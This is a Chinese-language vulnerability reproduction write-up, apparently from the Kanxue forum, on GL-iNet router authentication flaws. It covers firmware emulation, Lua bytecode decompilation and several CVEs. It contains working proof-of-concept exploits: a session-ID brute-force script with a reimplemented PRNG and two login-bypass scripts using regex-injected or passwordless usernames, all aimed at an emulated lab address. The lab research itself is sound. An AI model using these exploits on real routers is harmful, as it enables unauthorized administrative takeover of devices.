前段时间看到复现分析GL-iNet路由器CVE-2024-39226漏洞的两篇文章,看完也跟着了分析下,固件仿真过程踩了一些坑,开始我直接用Ubuntu24的qemu-system-arm跟着操作都会出现错误”Cortex-A9MPCore peripheral can only use Cortex-A9 CPU”,摸索了挺久发现文章用的都是debian_wheezy_armhf来仿真,但太老了以至于直接跑GL-iNet固件会出现Illegal instruction的错误,就使用Ubuntu18安装的低版本qemu-system-arm,能绕过来指定仿真开发板非支持的cpu,qemu在高版本中修复了这个问题,就出现了新些版本Ubuntu安装的qemu-system-arm启动报错问题。
后面琢磨了下,用低版本qemu-system-arm来绕过不算是好方法,试了试换个高版本内核镜像仿真就行了,可以花些时间自己制作一个,我是直接用开箱即用制作好的(https://people.debian.org/~gio/dqib/中的armhf-virt),根据自己的复现环境的网络配置改一下说明中的启动命令即可。
在分析漏洞时候,有搜索翻阅下GL-iNet官方发布的相关安全信息,发现官方整理得很有序完善详实,建立有一个漏洞修复信息仓库,有漏洞描述、影响范围、固件版本或利用方式等,修复漏洞的CVE编号没有标明,但在GL-iNet安全更新信息发布网站中可以找到每个版本更新修复的CVE编号,梳理一下可轻松找到其对应关系。在梳理时候,我发现两篇复现文章末尾都用了另外一个无需登录即可执行rpc调用的漏洞CVE-2024-39227,不过作者都没有提到是这个漏洞编号,这个漏洞的成因和利用都非常简单,但危害性巨大,并且CVE-2024-39226看起来也主要是为了配合这个漏洞来实现未授权远程执行而找到的。
复现分析完文章提到的两个漏洞后,我去官网下载最新的固件版本v4.6.6扒拉了下,发现像CVE-2024-39226这种本地或授权后可以命令注入类型问题还是不少的。拥有授权sid后/usr/lib/oui-httpd/rpc目录中文件的方法基本是可以任意调用,有些文件是luac文件反编译下即可。rpc目录下有十分多的类方法,简单翻了翻发现直接和间接进行命令注入的点很多,几乎防不胜防,想逐一修复工作量不小也不太有趣,思考下觉得这更像是一个系统框架设计问题吧,便和GL-iNet安全团队邮件反馈沟通了下,给出了一些示例。
进一步思考下,最重要的安全防线基本就是一道授权防护了,拥有或者绕过授权后便是如入无人之境了,历史CVE有一些是授权绕过漏洞,看了下相比授权后注入漏洞会更有意思些,不难但很经典,修复后又被绕过,或者同一个攻击面找到了别的攻击点。
所以此文一是对两篇GL-iNet路由器CVE-2024-39226漏洞复现文章进一步的补充,感谢作者无私的分享精神,我来进一步传递下互助分享的火炬,也为初学者提供一些有价值的资料和信息;二是复现分析下GL-iNet路由器几个授权相关的漏洞,看看最重要的防线都是怎样被突破的,以及修复后又是怎么再被突破的。
固件仿真
01
宿主机网络配置
以Ubuntu24系统为例,先安装qemu-system-arm。
sudo apt install qemu-system-arm
配置宿主机网络,参考QEMU搭建ARM64环境一文,先执行安装命令,安装后后宿主机会自动创建一个默认网桥virbr0。
sudo apt install libvirt-daemon-system libvirt-clients virt-manager
随后执行命令,创建并启用名为tap0的TAP设备,再将其添加到virbr0网桥中,并修改文件权限。
sudo ip tuntap add dev tap0 mode tap
sudo ip link set tap0 up
sudo brctl addif virbr0 tap0
sudo chmod 666 /dev/net/tun
接着执行ip addr查看virbr0网桥在宿主机中的网段,比如为192.168.122.1/24,后面配置虚拟机网络时候会用到。
虚拟机网络配置
根据要复现分析漏洞影响的版本去下载固件,可以在GL-iNet官方安全更新和漏洞仓库里面去找相应版本。
进行仿真模拟的步骤都是一样的,到https://people.debian.org/~gio/dqib/找到Imagesfor armhf-virt的链接下载,这是制作好的镜像,解压后可在readme.txt文件中看到镜像使用信息说明,如qemu-system-arm启动命令、登录方式密码等。
想要仿真系统和宿主机通信的话,就不能直接使用它的启动命令,可修改下启动配置中的网络部分,改为使用tap网络接口,id为net,名称为tap0。
sudo qemu-system-arm -machine 'virt' -cpu 'cortex-a15' -m 1G \
-device virtio-blk-device,drive=hd -drive file=image.qcow2,if=none,id=hd \
-device virtio-net-device,netdev=net -netdev tap,id=net,ifname=tap0,script=no,downscript=no \
-kernel kernel -initrd initrd -nographic \
-append "root=LABEL=rootfs console=ttyAMA0"
启动后登录进入系统,执行ip addr可以看到网卡名称eth0,再执行命令给eth0网卡分配一个网桥virbr0网段中的ip,刚才我们已经在宿主机看了virbr0网段是192.168.122.1/24。
ip add add 192.168.122.130/24 dev eth0
ip link set eth0 up
ip route add default via 192.168.122.1
执行后即可和宿主机通信,能互相ping通,每次启动都要执行一遍,嫌麻烦可以把重复操作写成sh脚本。
启动配置路由器
在官网固件下载网站下好固件后,以当前AX1800 Flint最新版v4.6.6为例,使用binwalk -Me提取出squashfs-root文件系统,再在宿主机上使用scp将其传递到仿真虚拟机中,有个坑是提取后文件系统后,如果你想mv、压缩或者scp传输,记得都要加sudo,不然会少关键文件/etc/nginx/oui_nginx.conf和/etc/nginx/conf.d/gl.conf等,会导致无法启动路由器登录管理页面。
sudo scp -r squashfs-root/ root@192.168.122.130:/root
接着挂载文件系统并启动shell,以及经过尝试,可以在一个虚拟机上传不同固件版本的suqashfs-root,选择挂载进入的,可以写出不同的sh脚本。
cd squashfs-root/
mount -t proc /proc ./proc/
mount -o bind /dev ./dev/
chroot ../squashfs-root/ sh
参考其他文章,加上我自己的摸索,可尝试这些命令来启动路由器,能够在宿主机浏览器中访问192.168.122.130进入路由器管理页面,可完成初始密码设置并登录进入管理面板过程,想实现更多功能的启用就要摸索更多配置了,不过我们分析复现授权相关过程已经够用了。
#第一次运行这些
mkdir /var/log
mkdir /var/log/nginx
mkdir /var/lib
mkdir /var/lib/nginx
mkdir /var/lib/nginx/body
mkdir /var/run
chmod +x /etc/uci-defaults/80_nginx-oui
/etc/uci-defaults/80_nginx-oui
chmod +x /etc/uci-defaults/network_gl
/etc/uci-defaults/network_gl
/etc/init.d/boot boot
#后面重启运行这些即可
/sbin/ubusd &
/usr/sbin/gl-ngx-session &
/usr/bin/fcgiwrap -c 4 -s unix:/var/run/fcgiwrap.socket &
/usr/sbin/nginx -c /etc/nginx/nginx.conf -g 'daemon off;' &
luac反编译
02
GL-iNet路由器的管理系统是基于luci-nginx-OpenResty开发的,核心功能都是lua写的,在分析过程中发现,lua文件分为源码文件、luac5.1.5文件和luac5.3.5文件三种,碰到后面两种文件就要看下怎么反编译了,自己踩些坑捣鼓了下,算是比较顺利地反编译了。
5.1.5
/usr/lib/oui-httpd/rpc目录下不少luac5.1文件,不过跟我之前碰到的不太一样,文件头中带有路径,不知是不是这个原因,没处理带路径的情况,像metaworm、unluac项目工具都不能反编译成功,最后使用luadec反编译成功了,可能是其编译依赖lua源码缘故。
但luadec也不能直接编译出来用,要先去下载编译会用到的lua源码,放在luadec/lua-5.1目录中,而openwrt项目使用了修改的lua5.1.5的源码,打上openwrt的patches再给luadec编译即可,详情阅读文章反向编译OpenWrt的Lua字节码。要注意的是文章中的patches下载命令失效了,可以手动去openwrt项目仓库下载patches文件,自己打上即可,以及编译出错问题按照文章中给编译命令加上-fPIC即可解决。
5.3.5
部分luac文件看文件头知道是5.3版本,但不知道是哪个小版本,去翻了openwrt项目最新代码,能确定是加入了lua-5.3.5版本,和5.1.5版本共存,在目录utils/lua和utils/lua5.3的Makefile文件中可以看到具体版本。本来想如法炮制,打patches编译lua-5.3.5的luadec,但是碰到了两个坑。
先是会报size_t不对的错误,ida分析编译出来的luadec文件,同时查看lua-5.3.5源码的checkHeader部分,找到问题是因为luadec在ubuntu64编译的,默认编译器是gcc64,校验的size_t就是8,而GL-iNet固件运行在32位arm,luac文件的size_t是4,所以校验出错。试下了改gcc32编译但发现出了不少依赖问题不好解决,随后换在Windows上用Visual Studio编译luadec 32位的lua5.3 sln项目,迅速通过编译。
接着又出现了文件头校验端序的问题,”endianness mismatch in precompiled chunk”,ida分析GL-iNet中luac引擎/usr/lib/liblua5.3.so.0.0.0文件,对比lua5.3.5源码,发现源码先是读了一个Interger类型值判断是否是0x5678,再读一个Number值判断是否等于一个浮点数,而liblua5.3.so.0.0.0中可以看到只读了一个字节是否为1来判断端序,LUAC_NUM的校验则是直接没有。
搜了下确定应该是GL-iNet改的,没搜到哪个5.3小版本有这么写。解决办法有两种,一是修改要反编译luac5.3文件头的大端序和浮点数部分,二是修改luadec编译用到的lua5.3.5源码文件头校验部分,后者要省事些。
功能简析
03
登录抓包
想分析登录授权相关的历史漏洞,首先要跟踪理清相关的函数调用链,仿真虚拟机中执行命令行/usr/sbin/gl-ngx-session &,便可进行登录相关功能。接着抓包网络通信请求,注意到有两个/rpc请求,参数是一个json字符串,其中有method字段和params字段,看起来是要点用的方法和参数,先进行/rpc - challenge请求传递参数username获取到salt、alg、nonce,再发送/rpc - login请求传递参数username和hash获取到sid,便是算登陆上了,大概也能猜到hash的生成和输入的密码、rpc - challenge返回参数有关。
rpc调用
/etc/nginx/conf.d/gl.conf是luci-nginx服务器的配置文件,可以看到location部分有着路径请求和对应执行的lua脚本位置,/rpc请求会被/usr/share/gl-ngx/oui-rpc.lua执行。
接着查看/usr/share/gl-ngx/oui-rpc.lua文件,处理了通过/rpc路径发送的json请求数据,请求中method字段有challenge、login、logout、alive、call五个类型,定义了各自对应的方法。
经分析可知前四个都是通过ubus机制调用/usr/sbin/gl-ngx-session文件中创建的服务方法,call类型则是到/user/lib/lua/oui/rpc.lua中去解析处理参数,进一步完成对/usr/lib/oui-httpd/rpc/目录下的lua文件方法或者so文件函数的调用。lua文件方法的调用是通过pcall函数实现的,而so文件函数是通过转发给/www/cgi-bin/glc此elf文件解析,通过dlopen和dlsym函数来完成调用实现。两者调用的环节可以说都是危险性比较大的攻击面,像CVE-2024-39226即s2s.so的命令注入,和CVE-2024-39227即无需登录通过glc文件调用rpc目录下so文件函数,都是后者的调用链路出现的大问题。
以及注意到/user/lib/lua/oui/rpc.lua文件中的M.access方法,可以知道本地能进行的攻击请求,拥有管理员的sid后也能同样进行,换句话说拥有管理员sid后,能够执行/usr/lib/oui-httpd/rpc/目录下的任意函数方法。我简单看了下最新版本的固件,就找到了许多处直接和间接的命令注入,现在问题来了,如果授权后shell注入算是漏洞的话,那可以说框架系统如此设计的问题还是比较大的,当然也可以认为此类并不太算是漏洞,因为功能设计如此,只要守好授权管理防线即可。
授权机制
先将如何看待路由器此类授权后漏洞的性质和危害性放到一边,去看下出现问题一定会有很大杀伤力的授权机制部分,根据刚才的分析可以知道,登录抓包中/rpc - challenge和/rpc-login请求执行的功能函数,都在/usr/sbin/gl-ngx-session文件中的ubus服务定义。
简单分析可知,challenge方法生成并返回了一个随机数nonce,从/etc/shadow中读取登录用户的哈希加密类型alg和盐salt,与nonce一同返回给客户端以进行哈希计算,而login方法则是验证客户端计算的哈希是否与/etc/shadow中一致。
其他几个像logout方法是销毁移除会话id,touch方法是刷新会话超时时间,touch是刷新会话的超时时间,session是返回指定会话id的详细信息,clear_session是清除所有会话。
不安全随机数
04
先来看下CVE-2023-50920和CVE-2024-39225,这是两个很经典的不安全随机数应用在授权机制中类型的漏洞。前者cve是未设置随机数种子,默认为1,导致sid生成是可预测的,可在管理员登录期间,去爆破到sid。在经过修复后,取登录时间作为随机数种子,但并没有安全而是出现了第二个cve,一是可以想办法获取到登录时间,二是如果登录时间不能确定,还可以往前可以遍历,仍然能够采取爆破方式得到管理员登录的sid。
CVE-2023-50920
此漏洞具体信息可到官方仓库Authentication-bypass-seesion-ID一文查看,有提到影响和修复的版本,简单介绍了漏洞情况。以下载了AX1800 Flint v4.4.6版本复现为例,解包固件后,直奔主题看下sid是怎么产生的,可以看到是在/usr/sbin/gl-ngx-session函数中调用了/usr/lib/lua/oui/utils.lua的M.generate方法,可以看到是调用了32次math.random(#t),从表t中取字母拼接成而来的。
到上面提到的官方仓库文章看下对漏洞的描述,说第一次启动登录五次产生的不同sid,和第二次重启登录五次产生的不同sid是一致的,我们可以通过对固件仿真进行验证,确实如此,重启产生的五个固定sid为:
NsPHdkXtENoaotxVZWLqJorU52O7J0OI
kOwMhgyNDFmY9bhJuOabavmiiWEvugps
T2FvXOB3DzLi6OugzpU9gvGE0RXXCe3D
LhYe29My1b07gEYD6M7r0GEhEdf7ZKwf
frkuxD8f0mOa5QW8VCadShygkiQtVPLj
细究下原因,是因为开发者忘记在/etc/init.d/gl-ngx-session中使用math.randomseed函数初始化随机数种子了,以及文件第一行是#!/usr/bin/lua即由其执行,分析下知道是lua5.1的解释器,可以在lua5.1源代码网站找到math_random和math_randomseed的实现,前者先通过(rand()%RAND_MAX) / RAND_MAX生成一个0~1之间的小数,只传入一个参数时候与其相乘,使用floor向下取整再加一。后者比较简单,是直接调用了C语言的srand,如果没有调用此函数初始化随机数种子的话,会默认使用1开始作为种子,就导致每次重启不断产生的随机数都是一致的。
可以在虚拟机上写一个lua文件执行验证一下,先设置randomseed为1,再调用generated_id函数,因为每次登录/rpc-challenge请求也会调用一次generate_id作为随机数nonce,所以取第二次生成结果作为sid,可以看到结果和我们登录记录五个sid是一致的。
或者我们反编译下虚拟机的/lib/libc.so文件,看下rand和srand函数的实现,自己写一份,也能得到每次重启的固定sid序列,需要注意的一个坑是lua数组下标是从1开始的。
#CVE-2023-50920.py
import math
seed = 0
RAND_MAX = 2147483647
def lua51_math_randomseed(s):
global seed
seed = s - 1
def lua51_math_random(max):
global seed
seed = (6364136223846793005*int(seed) + 1)&0xffffffffffffffff
r = (seed >> 33)&0xffffffff
return math.floor(((r%RAND_MAX)/RAND_MAX)*max)+1
def generate_id(n):
s = []
t = ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9",
"a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z",
"A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z"]
for i in range(n):
a = lua51_math_random(len(t))-1
s.append(t[a])
return "".join(s)
lua51_math_randomseed(1)
for i in range(5):
generate_id(32)
print(generate_id(32))
CVE-2024-39225
随后官方进行了修复,下载AX1800 Flint v4.5.0固件解包查看,可以看到在/sur/sbin/gl-ngx-seesion的init函数中初始化了unix时间戳为随机数种子。
如此乍一看生成的sid不会再重复一直在变化,但是由于当下向前的时间是确定的,所以仍然是不安全的,在管理员登录路由器面板不久后,写脚本尝试不断以向前的unix时间戳为随机数种子,去生成一些sid尝试登录,是可以爆破出管理员的sid的,这就是[CVE-2024-39225](https://github.com/gl-inet/CVE-issues/blob/main/4.0.0/Bypassthe login mechanism.md)。
以及github有这个CVE的利用poc,但经过我自己仿真复现和分析发现有些不太对劲,这个poc并不能爆破出来正确的sid,经过一番排查,确定原因是/etc/init.d/gl-ngx-session文件第一行也发生了改动,#!/usr/bin/lua改为#!/usr/bin/eco,即lua文件变为由后者执行。ida分析可知,前者是lua.5.1引擎,后者是lua5.3引擎。而在lua5.3版本中,随机数生成实现发生了变动,可以在官方lua5.3源码网站查看,一是如果符合POSIX标准,就使用random和srandom函数,而非rand和srand,二是math.random函数实现变化,math.randomseed函数实现不仅会初始化种子,还会先调用一次l_rand函数。
所以poc中使用lua5.1的随机数生成实现逻辑是复现不出来漏洞的,我们需要按lua5.3的来,random和srandom函数可以先使用ida分析下/lib/libc.so文件,注意到实现有些复杂,根据两个函数的常量线索可以搜到一份实现,经验证是和GL-iNet一致的。
接着便可以撰写爆破sid的脚本,随机数生成用C实现及gcc编译为so,提供python调用,便可复现成功。
//myrand-lua53.c
// gcc myrand-lua53.c -fPIC -shared -o myrand-lua53.so
#include <stdlib.h>
#include <stdint.h>
static uint32_t init[] = {
0x00000000,0x5851f42d,0xc0b18ccf,0xcbb5f646,
0xc7033129,0x30705b04,0x20fd5db4,0x9a8b7f78,
0x502959d8,0xab894868,0x6c0356a7,0x88cdb7ff,
0xb477d43f,0x70a3a52b,0xa8e4baf1,0xfd8341fc,
0x8ae16fd9,0x742d2f7a,0x0d1f0796,0x76035e09,
0x40f7702c,0x6fa72ca5,0xaaa84157,0x58a0df74,
0xc74a0364,0xae533cc4,0x04185faf,0x6de3b115,
0x0cab8628,0xf043bfa4,0x398150e9,0x37521657};
static int n = 31;
static int i = 3;
static int j = 0;
static uint32_t *x = init+1;
static uint32_t lcg31(uint32_t x) {
return (1103515245*x + 12345) & 0x7fffffff;
}
static uint64_t lcg64(uint64_t x) {
return 6364136223846793005ull*x + 1;
}
static void *savestate() {
x[-1] = (n<<16)|(i<<8)|j;
return x-1;
}
static void loadstate(uint32_t *state) {
x = state+1;
n = x[-1]>>16;
i = (x[-1]>>8)&0xff;
j = x[-1]&0xff;
}
long mysrandom(unsigned seed) {
int k;
uint64_t s = seed;
if (n == 0) {
x[0] = s;
return;
}
i = n == 31 || n == 7 ? 3 : 1;
j = 0;
for (k = 0; k < n; k++) {
s = lcg64(s);
x[k] = s>>32;
}
/* make sure x contains at least one odd number */
x[0] |= 1;
}
long myrandom(void) {
long k;
if (n == 0) {
k = x[0] = lcg31(x[0]);
goto end;
}
x[i] += x[j];
k = x[i]>>1;
if (++i == n)
i = 0;
if (++j == n)
j = 0;
end:
return k;
}
#CVE-2024-39225.py
import time
import requests
import concurrent.futures
from requests.adapters import HTTPAdapter, Retry
from ctypes import *
requests.packages.urllib3.disable_warnings()
h = {'Content-type':'application/json;charset=utf-8', 'User-Agent':'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko'}
retry = Retry(total=5, backoff_factor=1, status_forcelist=[429, 500, 502, 503, 504])
s = requests.Session()
s.mount('http://' , HTTPAdapter(max_retries=retry))
s.mount('https://', HTTPAdapter(max_retries=retry))
s.headers = h
s.verify = False
s.keep_alive = True
timeout = 20
max_backward_seconds = 3000
RAND_MAX = 2147483647
def lua53_math_randomseed(s):
call.mysrandom(s)
call.myrandom()
def lua53_math_random(max):
return int(call.myrandom() * (1.0 / (RAND_MAX +1.0)) * max) + 1
def generate_id(n):
s = []
t = ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9",
"a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z",
"A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z"]
for i in range(n):
a = lua53_math_random(len(t))-1
s.append(t[a])
return "".join(s)
def makeRequest(sid):
j = {"jsonrpc":"2.0","id":1,"method":"alive","params":{"sid":sid}}
r = s.post("http://192.168.122.130/rpc", json=j, timeout=timeout)
if "Access denied" not in (r.text):
print("[*] An admin SID found: \033[1m%s\033[0m" %sid)
return sid
def bruteForce():
counter = 1
e = concurrent.futures.ProcessPoolExecutor(max_workers=8)
with open("SIDs", "r", encoding="utf-8") as f:
sids = f.read().splitlines()
print("[*] Bruteforce attack has started ... it may take very long time ...")
for sid in range(0, len(sids), 2048):
print("[*] The number of SIDs have been bruteforced so far: \033[1m%d\033[0m" %(2048*counter), end="\r")
counter += 1
results = e.map(makeRequest, sids[sid:sid+2048])
for response in list(results):
if response:
e.shutdown(wait=True, cancel_futures=True)
return response
def generateSIDs(boot_time):
with open("SIDs", "a") as SIDs:
for s in range(max_backward_seconds):
lua53_math_randomseed(boot_time)
for i in range(10):
generate_id(32)
sid = generate_id(32)
SIDs.write(sid+"\n")
boot_time -= 1
print("[*] The bruteforce list has been constructed!")
call = CDLL("./myrand-lua53.so")
generateSIDs(int(time.time()))
bruteForce()
这之后官方又进行了一次修复,可以看到是使用了io.open('/dev/urandom'),这次随机性应该是足够了。
授权认证绕过
05
接着再看下登录验证获取授权流程出现的两个漏洞CVE-2023-50919和CVE-2024-45261,前者利用了登录校验中使用用户名参与对/etc/shadow行内容的正则匹配,可以控制用户名改变正则匹配模式,以返回确定已知的结果,随后便可构造出哈希计算值登录成功获取到sid,这个漏洞随后被官方修复,但这个攻击面却还存在别的更隐蔽些的漏洞,即CVE-2024-45261。
以及这两个漏洞获取的sid的aclgroup都不是root,所以过不了/usr/lib/lua/oui/rpc.lua的M.access方法的校验,进而rpc方法基本不能调用,但是没关系已经足够了,/usr/share/gl-ngx/oui-download.lua中有突破点,一是只是检查sid是否存在,二是没有检查下载文件路径,所以我们可以下载到任意文件,包括/etc/shadow文件,进而登录到管理员账户。
这就是CVE-45260,github上有这个漏洞的poc,我们可以简单修改下这个poc,在复现两个授权认证绕过漏洞获取到sid后,一起进行验证。
CVE-2023-50919
漏洞的具体信息和影响版本可以看官方仓库的介绍https://github.com/gl-inet/CVE-issues/blob/main/4.0.0/Authentication-bypass.md,我们选择v4.4.6版本进行仿真验证和分析。之前已经简单介绍登录流程,先进行/rpc- challenge请求传递参数username获取到salt、alg、nonce,再发送/rpc - login请求传递参数username和hash,验证成功获取到sid,便是算登陆上了,现在具体看一下相关文件和函数,都在/usr/sbin/gl-ngx-session中。
这是/etc/shadow文件,第一次启动路由器设置密码时候,会调用/usr/lib/oui-httpd/rpc/ui文件的M.init方法,其中通过(sys.password)(username, "", password)再调用系统方法来更新到/etc/shadow,第一行就是默认root用户的密码信息,以:为分割,其中第二个字段是哈希信息,又以$分割为哈希类型、盐和哈希结果。
/rpc - challenge请求流程先获取到客户端发送的登录用户名,调用get_crypt_info函数,读取/etc/shadow文件获取用户的哈希类型和盐。
接着再调用create_nonce函数生成随机数,最后再一同返回给客户端。
客户端根据哈希类型和盐进行哈希计算得到hash,和用户名一起作为/rpc - login请求的参数准备进行验证,看下校验流程,会走到login_test函数中,遍历/etc/shadow行内容,拿用户名拼接正则表达式,正常流程应该是username为root,随后匹配到第一行root密码信息中的第二个字段哈希信息,随后和用户名、随机数一起拼接进行md5哈希,将结果和客户端传来的hash值对比,一致则登录校验成功,生成sid返回。
可以看到拼接正则表达式没有对用户名进行检查,那么就可以在用户名中带有正则字符串,让匹配结果不再是我们不知道的管理员密码哈希信息,而是一个可以猜到的固定值,便可轻易绕过登录。看一下root用户的密码信息,比如为root:root:[^:]+:[^:]+
,来拼接出正则表达式规则^root:[^:]+:[^:]+:([^:]+)
,便可匹配出第四个字段0,接着可以根据校验流程计算出哈希,发送登录请求绕过验证,获取到sid。
#CVE-2023-50919.py
import requests
import hashlib
requests.packages.urllib3.disable_warnings()
s = requests.Session()
s.verify = False
s.keep_alive = True
s.headers.update({'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko'})
url = "http://192.168.122.130/rpc"
j = {"jsonrpc":"2.0","id":1,"method":"challenge","params":{"username":"root"}}
r = s.post(url, json=j)
if r.status_code == 200 and "Access denied" not in r.text and "nonce" in r.json()['result']:
nonce = r.json()['result']['nonce']
data = f'root:[^:]+:[^:]+:0:{nonce}'
hash = hashlib.md5(data.encode()).hexdigest()
j = {"jsonrpc":"2.0","id":1,"method":"login","params":{"username":"root:[^:]+:[^:]+","hash":hash}}
r = s.post(url, json=j)
try:
sid = r.json()['result']['sid']
except Exception:
pass
if sid:
print("[*] Successfully generated a non-privileged SID: \033[1m%s\033[0m" %sid)
else:
print("[*] Error! Could not generate a SID!")
else:
print("[*] Could not get a nonce from the target device! Try again later!")
CVE-2024-45261
下载修复版本v4.5.0固件,解包查看是CVE-2023-50919如何修复的,可以看到对username进行了正则检查,严格限定为小写字母、数组、下划线和连字符,堵死了利用用户名拼接正则表达式的漏洞。
但是真的安全了吗,其实并没有。再往上翻一下/etc/shadow文件的内容,可以知道除了root还有ftp、daemon、network等其他用户的密码信息,而且匹配出来的哈希要么是*要么是x,所以rpc - login请求是很容易搞定的,登录/etc/shadwo文件中的其他用户名即可。但是还要看下rpc - challenge请求流程,因为有先通过get_crypt_info读用户在/etc/shadwo文件中的哈希类型和盐,如果是root外的用户,获取到的alg和salt就是nil,进而校验了alg值会请求失败,无法产生随机数nonce并返回。
可是问题恰恰出现在rpc - login请求中使用nonce时候,并没有检查是哪个用户生成的nonce,所以我们可以进行rpc - challenge请求时候,设置用户名为root来获取到nonce,再进行rpc - login请求时候,设置别的用户来绕过校验,这就是CVE-2024-45261,[官网上有具体的介绍](https://github.com/gl-inet/CVE-issues/blob/main/4.0.0/BypassingLogin Mechanism with Passwordless User Login.md),github上也有poc脚本。
#CVE-2024-45261.py
import requests
import hashlib
requests.packages.urllib3.disable_warnings()
s = requests.Session()
s.verify = False
s.keep_alive = True
s.headers.update({'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko'})
url = "http://192.168.122.130/rpc"
j = {"jsonrpc":"2.0","id":1,"method":"challenge","params":{"username":"root"}}
r = s.post(url, json=j)
if r.status_code == 200 and "Access denied" not in r.text and "nonce" in r.json()['result']:
nonce = r.json()['result']['nonce']
data = f'ftp:*:{nonce}'
hash = hashlib.md5(data.encode()).hexdigest()
j = {"jsonrpc":"2.0","id":1,"method":"login","params":{"username":"ftp","hash":hash}}
r = s.post(url, json=j)
try:
sid = r.json()['result']['sid']
except Exception:
pass
if sid:
print("[*] Successfully generated a non-privileged SID for the \033[1mftp\033[0m account: \033[1m%s\033[0m" %sid)
else:
print("[*] Error! Could not generate a SID!")
else:
print("[*] Could not get a nonce from the target device! Try again later!")
最后看下当前最新的v4.6.6版本中是怎么修复的,可以看到nonce和username对应关系有了,root外的用户无法再借助root通过rpc - challenge请求生成的nonce来绕过登录了。
顺便再看下CVE-2024-45261即任意aclgroup的sid任意文件下载漏洞是怎么修复的,可以看到调用了之前说到的rpc.access方法,之前有提到里面有对sid的aclgroup进行检查。
后记
写完此篇文章一个感受是“纸上得来终觉浅,绝知此事要躬行”,无论是固件仿真,还是自己去找一些授权后注入漏洞,或者是复现授权相关CVE,都是看着觉得也不难,但动手复现起来真是一个又一个坑。看到别人做得不太好的,要摸索下怎么做得更优雅些;碰到别人没说的,要自己趟一遍水才知道哪些没说,再想各种办法去补全;碰到别人说得有问题的就更惨了,各种怀疑困惑后,要一步步分析定位到原因再去解决给出正确答案。
看雪ID:0x指纹
https://bbs.kanxue.com/user-home-802108.htm
# 往期推荐
球分享
球点赞
球在看
点击阅读原文查看更多